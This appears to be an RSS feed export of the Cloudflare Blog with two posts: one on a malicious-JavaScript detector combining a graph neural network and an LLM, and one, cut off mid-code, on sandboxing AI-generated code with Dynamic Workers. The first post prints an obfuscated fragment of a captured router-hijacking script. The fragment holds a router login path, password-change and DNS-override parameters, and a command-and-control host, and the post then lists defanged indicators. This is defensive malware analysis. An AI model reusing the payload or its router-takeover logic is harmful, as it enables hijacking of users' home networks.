
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Fri, 03 Apr 2026 16:28:22 GMT</lastBuildDate>
        <item>
            <title><![CDATA[Cloudflare Client-Side Security: smarter detection, now open to everyone]]></title>
            <link>https://blog.cloudflare.com/client-side-security-open-to-everyone/</link>
            <pubDate>Mon, 30 Mar 2026 06:00:00 GMT</pubDate>
            <description><![CDATA[ We are opening our advanced Client-Side Security tools to all users, featuring a new cascading AI detection system. By combining graph neural networks and LLMs, we've reduced false positives by up to 200x while catching sophisticated zero-day exploits. ]]></description>
            <content:encoded><![CDATA[ <p>Client-side skimming attacks have a boring superpower: they can steal data without breaking anything. The page still loads. Checkout still completes. All it needs is just one malicious script tag.</p><p>If that sounds abstract, here are two recent examples of such skimming attacks:</p><ul><li><p>In January 2026, <a href="https://sansec.io/research/keylogger-major-us-bank-employees"><u>Sansec reported</u></a> a browser-side keylogger running on an employee merchandise store for a major U.S. bank, harvesting personal data, login credentials, and credit card information.</p></li><li><p>In September 2025, attackers published malicious releases of <a href="https://blog.cloudflare.com/how-cloudflares-client-side-security-made-the-npm-supply-chain-attack-a-non/"><u>widely used npm packages</u></a>. If those packages were bundled into front-end code, end users could be exposed to crypto-stealing in the browser.</p></li></ul><p>To further our goal of building a better Internet, Cloudflare established a core tenet during our <a href="https://www.cloudflare.com/innovation-week/birthday-week-2025/"><u>Birthday Week 2025</u></a>: powerful security features should be accessible <a href="https://blog.cloudflare.com/enterprise-grade-features-for-all/"><u>without requiring a sales engagement</u></a>. In pursuit of this objective, we are announcing two key changes today:</p><p>First, Cloudflare <b>Client-Side Security Advanced</b> (formerly <b>Page Shield add-on</b>) is now <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/settings?tabs=client-side-abuse"><u>available to self-serve</u></a> customers. And second, domain-based threat intelligence is now complimentary for all customers on the <a href="https://developers.cloudflare.com/page-shield/#availability"><u>free </u><b><u>Client-Side Security</u></b><u> bundle</u></a>.</p><p>In this post, we’ll explain how this product works and highlight a new AI detection system designed to identify malicious JavaScript while minimizing false alarms. We’ll also discuss several real-world applications for these tools.</p>
    <div>
      <h2>How Cloudflare Client-Side Security works</h2>
      <a href="#how-cloudflare-client-side-security-works">
        
      </a>
    </div>
    <p>Cloudflare Client-Side Security assesses 3.5 billion scripts per day, protecting 2,200 scripts per enterprise zone on average.</p><p>Under the hood, Client-Side Security collects these signals using browser reporting (for example, <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP"><u>Content Security Policy</u></a>), which means you don’t need scanners or app instrumentation to get started, and there is zero latency impact to your web applications. The only prerequisite is that your traffic is proxied through Cloudflare.</p><p>Client-Side Security <b>Advanced</b> provides immediate access to powerful security features:</p><ul><li><p><b>Smarter malicious script detection:</b> Using in-house machine learning, this capability is now enhanced with assessments from a Large Language Model (LLM). Read more details below.</p></li><li><p><b>Code change monitoring:</b> Continuous code change detection and monitoring is included, which is essential for meeting compliance like<a href="https://developers.cloudflare.com/page-shield/reference/pci-dss/"> <u>PCI DSS v4</u></a>, requirement 11.6.1.</p></li><li><p><b>Proactive blocking rules:</b> Benefit from positive content security rules that are maintained and enforced through continuous monitoring.</p></li></ul>
    <div>
      <h2>Detecting malicious intent JavaScripts</h2>
      <a href="#detecting-malicious-intent-javascripts">
        
      </a>
    </div>
    <p>Managing client-side security is a massive data problem. For an average enterprise zone, our systems observe approximately 2,200 unique scripts; smaller business zones frequently handle around 1,000. This volume alone is difficult to manage, but the real challenge is the volatility of the code.</p><p>Roughly a third of these scripts undergo code updates within any 30-day window. If a security team attempted to manually approve every new DOM (document object model) interaction or outbound connection, the resulting overhead would paralyze the development pipeline.</p><p>Instead, our detection strategy focuses on <i>what a script is trying to do</i>. That includes intent classification work <a href="https://blog.cloudflare.com/how-we-train-ai-to-uncover-malicious-javascript-intent-and-make-web-surfing-safer/"><u>we’ve written about previously</u></a>. In short, we analyze the script's behavior using an Abstract Syntax Tree (AST). By breaking the code down into its logical structure, we can identify patterns that signal malicious intent, regardless of how the code is obfuscated.</p>
    <div>
      <h2>The high cost of false positives</h2>
      <a href="#the-high-cost-of-false-positives">
        
      </a>
    </div>
    <p>Client-side security operates differently than active vulnerability scanners deployed across the web, where a Web Application Firewall (WAF) would constantly observe matched attack signatures. While a WAF constantly blocks high-volume automated attacks, a client-side compromise (such as a breach of an origin server or a third-party vendor) is a rare, high-impact event. In an enterprise environment with rigorous vendor reviews and code scanning, these attacks are rare.</p><p>This rarity creates a problem. Because real attacks are infrequent, a security system’s detections are statistically more likely to be false positives. For a security team, these false alarms create fatigue and hide real threats. To solve this, we integrated a Large Language Model (LLM) into our detection pipeline, drastically reducing the false positive rate.</p>
    <div>
      <h2>Adding an LLM-based second opinion for triage</h2>
      <a href="#adding-an-llm-based-second-opinion-for-triage">
        
      </a>
    </div>
    <p>Our <a href="https://blog.cloudflare.com/how-we-train-ai-to-uncover-malicious-javascript-intent-and-make-web-surfing-safer/"><u>frontline detection engine</u></a> is a Graph Neural Network (GNN). GNNs are particularly well-suited for this task: they operate on the Abstract Syntax Tree (AST) of the JavaScript code, learning structural representations that capture execution patterns regardless of variable renaming, minification, or obfuscation. In machine learning terms, the GNN learns an embedding of the code’s graph structure that generalizes across syntactic variations of the same semantic behavior.</p><p>The GNN is tuned for high recall. We want to catch novel, zero-day threats. Its precision is already remarkably high: less than 0.3% of total analyzed traffic is flagged as a false positive (FP). However, at Cloudflare’s scale of <a href="https://blog.cloudflare.com/how-cloudflares-client-side-security-made-the-npm-supply-chain-attack-a-non/"><u>3.5 billion scripts assessed daily</u></a>, even a sub-0.3% FP rate translates to a volume of false alarms that can be disruptive to customers.</p><p>The core issue is a classic class imbalance problem. While we can collect extensive malicious samples, the sheer diversity of benign JavaScript across the web is practically infinite. Heavily obfuscated but perfectly legitimate scripts — like bot challenges, tracking pixels, ad-tech bundles, and minified framework builds — can exhibit structural patterns that overlap with malicious code in the GNN’s learned feature space. As much as we try to cover a huge variety of interesting benign cases, the model simply has not seen enough of this infinite variety during training.</p><p>This is precisely where Large Language Models (LLMs) complement the GNN. LLMs possess a deep semantic understanding of real-world JavaScript practices: they recognize domain-specific idioms, common framework patterns, and can distinguish sketchy-but-innocuous obfuscation from genuinely malicious intent.</p><p>Rather than replacing the GNN, we designed a cascading classifier architecture:</p><ol><li><p><b>Every script is first evaluated by the GNN</b>. If the GNN predicts the script as benign, the detection pipeline terminates immediately. <b>This incurs only the minimal latency of the GNN for the vast majority of traffic, completely bypassing the heavier computation time of the LLM</b>.</p></li><li><p>If the GNN flags the script as potentially malicious (above the decision threshold), the script is <b>forwarded to an open-source LLM</b> hosted on Cloudflare <a href="https://developers.cloudflare.com/workers-ai/"><u>Workers AI</u></a> for a second opinion.</p></li><li><p>The LLM, provided with a security-specialized prompt context, <b>semantically evaluates the script’s intent</b>. If it determines the script is benign, it overrides the GNN’s verdict.</p></li></ol><p>This two-stage design gives us the best of both worlds: the GNN’s high recall for structural malicious patterns, combined with the LLM’s broad semantic understanding to filter out false positives.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/438frLuYPU51j0uhtM5foj/10c53b3b3ccc84b00c754c872ad20492/image3.png" />
          </figure><p><a href="https://blog.cloudflare.com/how-we-train-ai-to-uncover-malicious-javascript-intent-and-make-web-surfing-safer/#training-the-model-to-detect-hidden-malicious-intent"><u>As we previously explained</u></a>, our GNN is trained on publicly accessible script URLs, the same scripts any browser would fetch. The LLM inference at runtime runs entirely within Cloudflare’s network via <a href="https://developers.cloudflare.com/workers-ai/"><u>Workers AI</u></a> using open-source models (we currently use <code>gpt-oss-120b</code>).</p><p>As an additional safety net, every script flagged by the GNN is logged to Cloudflare <a href="https://developers.cloudflare.com/r2/"><u>R2</u></a> for posterior analysis. This allows us to continuously audit whether the LLM’s overrides are correct and catch any edge cases where a true attack might have been inadvertently filtered out. Yes, we dogfood our own storage products for our own ML pipeline.</p><p>The results from our internal evaluations on real production traffic are compelling. Focusing on total analyzed traffic under the JS Integrity threat category, the secondary LLM validation layer reduced false positives by nearly 3x: dropping the already low ~0.3% FP rate down to ~0.1%. When evaluating unique scripts, the impact is even more dramatic: the FP rate plummets a whopping ~200x, from ~1.39% down to just 0.007%.</p><p>At our scale, cutting the overall false positive rate by two-thirds translates to millions fewer false alarms for our customers every single day. Crucially, our True Positive (actual attack) detection capability includes a fallback mechanism:as noted above, we audit the LLM’s overrides to check for possible true attacks that were filtered by the LLM.</p><p>Because the LLM acts as a highly reliable precision filter in this pipeline, we can now afford to lower the GNN’s decision threshold, making it even more aggressive. This means we catch novel, highly obfuscated True Attacks that would have previously fallen just below the detection boundary, all without overwhelming customers with false alarms. In the next phase, we plan to push this even further.</p>
    <div>
      <h3>Catching zero-days in the wild: The <code>core.js</code> router exploit</h3>
      <a href="#catching-zero-days-in-the-wild-the-core-js-router-exploit">
        
      </a>
    </div>
    <p>This two-stage architecture is already proving its worth in the wild. Just recently, our detection pipeline flagged a novel, highly obfuscated malicious script (<code>core.js</code>) targeting users in specific regions.</p><p>In this case, the payload was engineered to commandeer home routers (specifically Xiaomi OpenWrt-based devices). Upon closer inspection via deobfuscation, the script demonstrated significant situational awareness: it queries the router's WAN configuration (dynamically adapting its payload using parameters like <code>wanType=dhcp</code>, <code>wanType=static</code>, and <code>wanType=pppoe</code>), overwrites the DNS settings to hijack traffic through Chinese public DNS servers, and even attempts to lock out the legitimate owner by silently changing the admin password. Instead of compromising a website directly, it had been injected into users' sessions via compromised browser extensions.</p><p>To evade detection, the script's core logic was heavily minified and packed using an array string obfuscator — a classic trick, but effective enough that traditional threat intelligence platforms like VirusTotal have not yet reported detections at the time of this writing.</p><p><b>Our GNN successfully revealed</b> the underlying malicious structure despite the obfuscation, and the <b>Workers AI LLM confidently confirmed</b> the intent. Here is a glimpse of the payload showing the target router API and the attempt to inject a rogue DNS server:</p>
            <pre><code>const _0x1581=['bXhqw','=sSMS9WQ3RXc','cookie','qvRuU','pDhcS','WcQJy','lnqIe','oagRd','PtPlD','catch','defaultUrl','rgXPslXN','9g3KxI1b','123123123','zJvhA','content','dMoLJ','getTime','charAt','floor','wZXps','value','QBPVX','eJOgP','WElmE','OmOVF','httpOnly','split','userAgent','/?code=10&amp;asyn=0&amp;auth=','nonce=','dsgAq','VwEvU','==wb1kHb9g3KxI1b','cNdLa','W748oghc9TefbwK','_keyStr','parse','BMvDU','JYBSl','SoGNb','vJVMrgXPslXN','=Y2KwETdSl2b','816857iPOqmf','uexax','uYTur','LgIeF','OwlgF','VkYlw','nVRZT','110594AvIQbs','LDJfR','daPLo','pGkLa','nbWlm','responseText','20251212','EKjNN','65kNANAl','.js','94963VsBvZg','WuMYz','domain','tvSin','length','UBDtu','pfChN','1TYbnhd','charCodeAt','/cgi-bin/luci/api/xqsystem/login','http://192.168.','trace','https://api.qpft5.com','&amp;newPwd=','mWHpj','wanType','XeEyM','YFBnm','RbRon','xI1bxI1b','fBjZQ','shift','=8yL1kHb9g3KxI1b','http://','LhGKV','AYVJu','zXrRK','status','OQjnd','response','AOBSe','eTgcy','cEKWR','&amp;dns2=','fzdsr','filter','FQXXx','Kasen','faDeG','vYnzx','Fyuiu','379787JKBNWn','xiroy','mType','arGpo','UFKvk','tvTxu','ybLQp','EZaSC','UXETL','IRtxh','HTnda','trim','/fee','=82bv92bv92b','BGPKb','BzpiL','MYDEF','lastIndexOf','wypgk','KQMDB','INQtL','YiwmN','SYrdY','qlREc','MetQp','Wfvfh','init','/ds','HgEOZ','mfsQG','address','cDxLQ','owmLP','IuNCv','=syKxEjUS92b','then','createOffer','aCags','tJHgQ','JIoFh','setItem','ABCDEFGHJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789','Kwshb','ETDWH','0KcgeX92i0efbwK','stringify','295986XNqmjG','zfJMl','platform','NKhtt','onreadystatechange','88888888','push','cJVJO','XPOwd','gvhyl','ceZnn','fromCharCode',';Secure','452114LDbVEo','vXkmg','open','indexOf','UiXXo','yyUvu','ddp','jHYBZ','iNWCL','info','reverse','i4Q18Pro9TefbwK','mAPen','3960IiTopc','spOcD','dbKAM','ZzULq','bind','GBSxL','=A3QGRFZxZ2d','toUpperCase','AvQeJ','diWqV','iXtgM','lbQFd','iOS','zVowQ','jTeAP','wanType=dhcp&amp;autoset=1&amp;dns1=','fNKHB','nGkgt','aiEOB','dpwWd','yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW','encode','gWYAY','mckDW','createDataChannel'];
const _0x4b08=function(_0x5cc416,_0x2b0c4c){_0x5cc416=_0x5cc416-0x1d5;let _0xd00112=_0x1581[_0x5cc416];return _0xd00112;};
(function(_0x3ff841,_0x4d6f8b){const _0x45acd8=_0x4b08;while(!![]){try{const _0x1933aa=-parseInt(_0x45acd8(0x275))*-parseInt(_0x45acd8(0x264))+-parseInt(_0x45acd8(0x1ff))+parseInt(_0x45acd8(0x25d))+-parseInt(_0x45acd8(0x297))+parseInt(_0x45acd8(0x20c))+parseInt(_0x45acd8(0x26e))+-parseInt(_0x45acd8(0x219))*parseInt(_0x45acd8(0x26c));if(_0x1933aa===_0x4d6f8b)break;else _0x3ff841['push'](_0x3ff841['shift']());}catch(_0x8e5119){_0x3ff841['push'](_0x3ff841['shift']());}}}(_0x1581,0x842ab));</code></pre>
            <p>This is exactly the kind of sophisticated, zero-day threat that a static signature-based WAF would miss but our structural and semantic AI approach catches.</p>
    <div>
      <h4>Indicators of Compromise (IOCs)</h4>
      <a href="#indicators-of-compromise-iocs">
        
      </a>
    </div>
    <ul><li><p><b>URL:</b> hxxps://ns[.]qpft5[.]com/ads/core[.]js</p></li><li><p><b>SHA-256:</b> 4f2b7d46148b786fae75ab511dc27b6a530f63669d4fe9908e5f22801dea9202</p></li><li><p><b>C2 Domain:</b> hxxps://api[.]qpft5[.]com</p></li></ul>
    <div>
      <h2>Domain-based threat intelligence free for all</h2>
      <a href="#domain-based-threat-intelligence-free-for-all">
        
      </a>
    </div>
    <p>Today we are making domain-based threat intelligence available to all Cloudflare Client-Side Security customers, regardless of whether you use the Advanced offering.</p><p>In 2025, we saw many non-enterprise customers affected by client-side attacks, particularly those customers running webshops on the Magento platform. These attacks persisted for days or even weeks after they were publicized. Small and medium-sized companies often lack the enterprise-level resources and expertise needed to maintain a high security standard.</p><p>By providing domain-based threat intelligence to everyone, we give site owners a critical, direct signal of attacks affecting their users. This information allows them to take immediate action to clean up their site and investigate potential origin compromises.</p><p>To begin, simply enable Client-Side Security with a toggle <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/settings?tabs=client-side-abuse"><u>in the dashboard</u></a>. We will then highlight any JavaScript or connections associated with a known malicious domain.</p>
    <div>
      <h2>Get started with Client-Side Security Advanced for PCI DSS v4</h2>
      <a href="#get-started-with-client-side-security-advanced-for-pci-dss-v4">
        
      </a>
    </div>
    <p>To learn more about Client-Side Security Advanced pricing, please visit <a href="https://www.cloudflare.com/plans/"><u>the plans page</u></a>. Before committing, we will estimate the cost based on your last month’s HTTP requests, so you know exactly what to expect.</p><p>Client-Side Security Advanced has all the tools you need to meet the requirements <a href="https://developers.cloudflare.com/page-shield/reference/pci-dss/"><u>of PCI DSS v4</u></a> as an e-commerce merchant, particularly 6.4.3 and 11.6.1. Sign up today <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/settings?tabs=client-side-abuse"><u>in the dashboard</u></a>.</p> ]]></content:encoded>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <category><![CDATA[JavaScript]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Product News]]></category>
            <guid isPermaLink="false">6NYXSzUcRxDdj9UP0kouAK</guid>
            <dc:creator>Zhiyuan Zheng</dc:creator>
            <dc:creator>Juan Miguel Cejuela</dc:creator>
        </item>
        <item>
            <title><![CDATA[Sandboxing AI agents, 100x faster]]></title>
            <link>https://blog.cloudflare.com/dynamic-workers/</link>
            <pubDate>Tue, 24 Mar 2026 13:00:00 GMT</pubDate>
            <description><![CDATA[ We’re introducing Dynamic Workers, which allow you to execute AI-generated code in secure, lightweight isolates. This approach is 100 times faster than traditional containers, enabling millisecond startup times for AI agent sandboxing. ]]></description>
            <content:encoded><![CDATA[ <p>Last September we introduced <a href="https://blog.cloudflare.com/code-mode/"><u>Code Mode</u></a>, the idea that agents should perform tasks not by making tool calls, but instead by writing code that calls APIs. We've shown that simply converting an MCP server into a TypeScript API can <a href="https://www.youtube.com/watch?v=L2j3tYTtJwk"><u>cut token usage by 81%</u></a>. We demonstrated that Code Mode can also operate <i>behind</i> an MCP server instead of in front of it, creating the new <a href="https://blog.cloudflare.com/code-mode-mcp/"><u>Cloudflare MCP server that exposes the entire Cloudflare API with just two tools and under 1,000 tokens</u></a>.</p><p>But if an agent (or an MCP server) is going to execute code generated on-the-fly by AI to perform tasks, that code needs to run somewhere, and that somewhere needs to be secure. You can't just <code>eval() </code>AI-generated code directly in your app: a malicious user could trivially prompt the AI to inject vulnerabilities.</p><p>You need a <b>sandbox</b>: a place to execute code that is isolated from your application and from the rest of the world, except for the specific capabilities the code is meant to access.</p><p>Sandboxing is a hot topic in the AI industry. For this task, most people are reaching for containers. Using a Linux-based container, you can start up any sort of code execution environment you want. Cloudflare even offers <a href="https://developers.cloudflare.com/containers/"><u>our container runtime</u></a> and <a href="https://developers.cloudflare.com/sandbox/"><u>our Sandbox SDK</u></a> for this purpose.</p><p>But containers are expensive and slow to start, taking hundreds of milliseconds to boot and hundreds of megabytes of memory to run. You probably need to keep them warm to avoid delays, and you may be tempted to reuse existing containers for multiple tasks, compromising the security.</p><p><b>If we want to support consumer-scale agents, where every end user has an agent (or many!) and every agent writes code, containers are not enough. We need something lighter.</b></p><h6>And we have it.</h6>
    <div>
      <h2>Dynamic Worker Loader: a lean sandbox</h2>
      <a href="#dynamic-worker-loader-a-lean-sandbox">
        
      </a>
    </div>
    <p>Tucked into our Code Mode post in September was the announcement of a new, experimental feature: the Dynamic Worker Loader API. This API allows a Cloudflare Worker to instantiate a new Worker, in its own sandbox, with code specified at runtime, all on the fly.</p><p><b>Dynamic Worker Loader is now in open beta, available to all paid Workers users.</b></p><p><a href="https://developers.cloudflare.com/workers/runtime-apis/bindings/worker-loader/"><u>Read the docs for full details</u></a>, but here's what it looks like:</p>
            <pre><code>// Have your LLM generate code like this.
let agentCode: string = `
  export default {
    async myAgent(param, env, ctx) {
      // ...
    }
  }
`;

// Get RPC stubs representing APIs the agent should be able
// to access. (This can be any Workers RPC API you define.)
let chatRoomRpcStub = ...;

// Load a worker to run the code, using the worker loader
// binding.
let worker = env.LOADER.load({
  // Specify the code.
  compatibilityDate: "2026-03-01",
  mainModule: "agent.js",
  modules: { "agent.js": agentCode },

  // Give agent access to the chat room API.
  env: { CHAT_ROOM: chatRoomRpcStub },

  // Block internet access. (You can also intercept it.)
  globalOutbound: null,
});

// Call RPC methods exported by the agent code.
await worker.getEntrypoint().myAgent(param);
</code></pre>
            <p>That's it.</p>
    <div>
      <h3>100x faster</h3>
      <a href="#100x-faster">
        
      </a>
    </div>
    <p>Dynamic Workers use the same underlying sandboxing mechanism that the entire Cloudflare Workers platform has been built on since its launch, eight years ago: isolates. An isolate is an instance of the V8 JavaScript execution engine, the same engine used by Google Chrome. They are <a href="https://developers.cloudflare.com/workers/reference/how-workers-works/"><u>how Workers work</u></a>.</p><p>An isolate takes a few milliseconds to start and uses a few megabytes of memory. That's around 100x faster and 10x-100x more memory efficient than a typical container.</p><p><b>That means that if you want to start a new isolate for every user request, on-demand, to run one snippet of code, then throw it away, you can.</b></p>
    <div>
      <h3>Unlimited scalability</h3>
      <a href="#unlimited-scalability">
        
      </a>
    </div>
    <p>Many container-based sandbox providers impose limits on global concurrent sandboxes and rate of sandbox creation. Dynamic Worker Loader has no such limits. It doesn't need to, because it is simply an API to the same technology that has powered our platform all along, which has always allowed Workers to seamlessly scale to millions of requests per second.</p><p>Want to handle a million requests per second, where <i>every single request</i> loads a separate Dynamic Worker sandbox, all running concurrently? No problem!</p>
    <div>
      <h3>Zero latency</h3>
      <a href="#zero-latency">
        
      </a>
    </div>
    <p>One-off Dynamic Workers usually run on the same machine — the same thread, even — as the Worker that created them. No need to communicate around the world to find a warm sandbox. Isolates are so lightweight that we can just run them wherever the request landed. Dynamic Workers are supported in every one of Cloudflare's hundreds of locations around the world.</p>
    <div>
      <h3>It's all JavaScript</h3>
      <a href="#its-all-javascript">
        
      </a>
    </div>
    <p>The only catch, vs. containers, is that your agent needs to write JavaScript.</p><p>Technically, Workers (including dynamic ones) can use Python and WebAssembly, but for small snippets of code — like that written on-demand by an agent — JavaScript will load and run much faster.</p><p>We humans tend to have strong preferences on programming languages, and while many love JavaScript, others might prefer Python, Rust, or countless others.</p><p>But we aren't talking about humans here. We're talking about AI. AI will write any language you want it to. LLMs are experts in every major language. Their training data in JavaScript is immense.</p><p>JavaScript, by its nature on the web, is designed to be sandboxed. It is the correct language for the job.</p>
    <div>
      <h3>Tools defined in TypeScript</h3>
      <a href="#tools-defined-in-typescript">
        
      </a>
    </div>
    <p>If we want our agent to be able to do anything useful, it needs to talk to external APIs. How do we tell it about the APIs it has access to?</p><p>MCP defines schemas for flat tool calls, but not programming APIs. OpenAPI offers a way to express REST APIs, but it is verbose, both in the schema itself and the code you'd have to write to call it.</p><p>For APIs exposed to JavaScript, there is a single, obvious answer: TypeScript.</p><p>Agents know TypeScript. TypeScript is designed to be concise. With very few tokens, you can give your agent a precise understanding of your API.</p>
            <pre><code>// Interface to interact with a chat room.
interface ChatRoom {
  // Get the last `limit` messages of the chat log.
  getHistory(limit: number): Promise&lt;Message[]&gt;;

  // Subscribe to new messages. Dispose the returned object
  // to unsubscribe.
  subscribe(callback: (msg: Message) =&gt; void): Promise&lt;Disposable&gt;;

  // Post a message to chat.
  post(text: string): Promise&lt;void&gt;;
}

type Message = {
  author: string;
  time: Date;
  text: string;
}
</code></pre>
            <p>Compare this with the equivalent OpenAPI spec (which is so long you have to scroll to see it all):</p><pre>
openapi: 3.1.0
info:
  title: ChatRoom API
  description: &gt;
    Interface to interact with a chat room.
  version: 1.0.0

paths:
  /messages:
    get:
      operationId: getHistory
      summary: Get recent chat history
      description: Returns the last `limit` messages from the chat log, newest first.
      parameters:
        - name: limit
          in: query
          required: true
          schema:
            type: integer
            minimum: 1
      responses:
        "200":
          description: A list of messages.
          content:
            application/json:
              schema:
                type: array
                items:
                  $ref: "#/components/schemas/Message"

    post:
      operationId: postMessage
      summary: Post a message to the chat room
      requestBody:
        required: true
        content:
          application/json:
            schema:
              type: object
              required:
                - text
              properties:
                text:
                  type: string
      responses:
        "204":
          description: Message posted successfully.

  /messages/stream:
    get:
      operationId: subscribeMessages
      summary: Subscribe to new messages via SSE
      description: &gt;
        Opens a Server-Sent Events stream. Each event carries a JSON-encoded
        Message object. The client unsubscribes by closing the connection.
      responses:
        "200":
          description: An SSE stream of new messages.
          content:
            text/event-stream:
              schema:
                description: &gt;
                  Each SSE `data` field contains a JSON-encoded Message object.
                $ref: "#/components/schemas/Message"

components:
  schemas:
    Message:
      type: object
      required:
        - author
        - time
        - text
      properties:
        author:
          type: string
        time:
          type: string
          format: date-time
        text:
          type: string
</pre><p>We think the TypeScript API is better. It's fewer tokens and much easier to understand (for both agents and humans).  </p><p>Dynamic Worker Loader makes it easy to implement a TypeScript API like this in your own Worker and then pass it in to the Dynamic Worker either as a method parameter or in the env object. The Workers Runtime will automatically set up a <a href="https://blog.cloudflare.com/capnweb-javascript-rpc-library/"><u>Cap'n Web RPC</u></a> bridge between the sandbox and your harness code, so that the agent can invoke your API across the security boundary without ever realizing that it isn't using a local library.</p><p>That means your agent can write code like this:</p>
            <pre><code>// Thinking: The user asked me to summarize recent chat messages from Alice.
// I will filter the recent message history in code so that I only have to
// read the relevant messages.
let history = await env.CHAT_ROOM.getHistory(1000);
return history.filter(msg =&gt; msg.author == "alice");
</code></pre>
            
    <div>
      <h3>HTTP filtering and credential injection</h3>
      <a href="#http-filtering-and-credential-injection">
        
      </a>
    </div>
    <p>If you prefer to give your agents HTTP APIs, that's fully supported. Using the <code>globalOutbound</code> option to the worker loader API, you can register a callback to be invoked on every HTTP request, in which you can inspect the request, rewrite it, inject auth keys, respond to it directly, block it, or anything else you might like.</p><p>For example, you can use this to implement <b>credential injection</b> (token injection): When the agent makes an HTTP request to a service that requires authorization, you add credentials to the request on the way out. This way, the agent itself never knows the secret credentials, and therefore cannot leak them.</p><p>Using a plain HTTP interface may be desirable when an agent is talking to a well-known API that is in its training set, or when you want your agent to use a library that is built on a REST API (the library can run inside the agent's sandbox).</p><p>With that said, <b>in the absence of a compatibility requirement, TypeScript RPC interfaces are better than HTTP:</b></p><ul><li><p>As shown above, a TypeScript interface requires far fewer tokens to describe than an HTTP interface.</p></li><li><p>The agent can write code to call TypeScript interfaces using far fewer tokens than equivalent HTTP.</p></li><li><p>With TypeScript interfaces, since you are defining your own wrapper interface anyway, it is easier to narrow the interface to expose exactly the capabilities that you want to provide to your agent, both for simplicity and security. With HTTP, you are more likely implementing <i>filtering</i> of requests made against some existing API. This is hard, because your proxy must fully interpret the meaning of every API call in order to properly decide whether to allow it, and HTTP requests are complicated, with many headers and other parameters that could all be meaningful. It ends up being easier to just write a TypeScript wrapper that only implements the functions you want to allow.</p></li></ul>
    <div>
      <h3>Battle-hardened security</h3>
      <a href="#battle-hardened-security">
        
      </a>
    </div>
    <p>Hardening an isolate-based sandbox is tricky, as it is a more complicated attack surface than hardware virtual machines. Although all sandboxing mechanisms have bugs, security bugs in V8 are more common than security bugs in typical hypervisors. When using isolates to sandbox possibly-malicious code, it's important to have additional layers of defense-in-depth. Google Chrome, for example, implemented strict process isolation for this reason, but it is not the only possible solution.</p><p>We have nearly a decade of experience securing our isolate-based platform. Our systems automatically deploy V8 security patches to production within hours — faster than Chrome itself. Our <a href="https://blog.cloudflare.com/mitigating-spectre-and-other-security-threats-the-cloudflare-workers-security-model/"><u>security architecture</u></a> features a custom second-layer sandbox with dynamic cordoning of tenants based on risk assessments. <a href="https://blog.cloudflare.com/safe-in-the-sandbox-security-hardening-for-cloudflare-workers/"><u>We've extended the V8 sandbox itself</u></a> to leverage hardware features like MPK. We've teamed up with (and hired) leading researchers to develop <a href="https://blog.cloudflare.com/spectre-research-with-tu-graz/"><u>novel defenses against Spectre</u></a>. We also have systems that scan code for malicious patterns and automatically block them or apply additional layers of sandboxing. And much more.</p><p>When you use Dynamic Workers on Cloudflare, you get all of this automatically.</p>
    <div>
      <h2>Helper libraries</h2>
      <a href="#helper-libraries">
        
      </a>
    </div>
    <p>We've built a number of libraries that you might find useful when working with Dynamic Workers: </p>
    <div>
      <h3>Code Mode</h3>
      <a href="#code-mode">
        
      </a>
    </div>
    <p><a href="https://www.npmjs.com/package/@cloudflare/codemode"><code>@cloudflare/codemode</code></a> simplifies running model-generated code against AI tools using Dynamic Workers. At its core is <code>DynamicWorkerExecutor()</code>, which constructs a purpose-built sandbox with code normalisation to handle common formatting errors, and direct access to a <code>globalOutbound</code> fetcher for controlling <code>fetch()</code> behaviour inside the sandbox — set it to <code>null</code> for full isolation, or pass a <code>Fetcher</code> binding to route, intercept or enrich outbound requests from the sandbox.</p>
            <pre><code>const executor = new DynamicWorkerExecutor({
  loader: env.LOADER,
  globalOutbound: null, // fully isolated 
});

const codemode = createCodeTool({
  tools: myTools,
  executor,
});

return generateText({
  model,
  messages,
  tools: { codemode },
});
</code></pre>
            <p>The Code Mode SDK also provides two server-side utility functions. <code>codeMcpServer({ server, executor })</code> wraps an existing MCP Server, replacing its tool surface with a single <code>code()</code> tool. <code>openApiMcpServer({ spec, executor, request })</code> goes further: given an OpenAPI spec and an executor, it builds a complete MCP Server with <code>search()</code> and <code>execute()</code> tools as used by the Cloudflare MCP Server, and better suited to larger APIs.</p><p>In both cases, the code generated by the model runs inside Dynamic Workers, with calls to external services made over RPC bindings passed to the executor.</p><p><a href="https://www.npmjs.com/package/@cloudflare/codemode"><u>Learn more about the library and how to use it.</u></a> </p>
    <div>
      <h3>Bundling</h3>
      <a href="#bundling">
        
      </a>
    </div>
    <p>Dynamic Workers expect pre-bundled modules. <a href="https://www.npmjs.com/package/@cloudflare/worker-bundler"><code>@cloudflare/worker-bundler</code></a> handles that for you: give it source files and a <code>package.json</code>, and it resolves npm dependencies from the registry, bundles everything with <code>esbuild</code>, and returns the module map the Worker Loader expects.</p>
            <pre><code>import { createWorker } from "@cloudflare/worker-bundler";

const worker = env.LOADER.get("my-worker", async () =&gt; {
  const { mainModule, modules } = await createWorker({
    files: {
      "src/index.ts": `
        import { Hono } from 'hono';
        import { cors } from 'hono/cors';

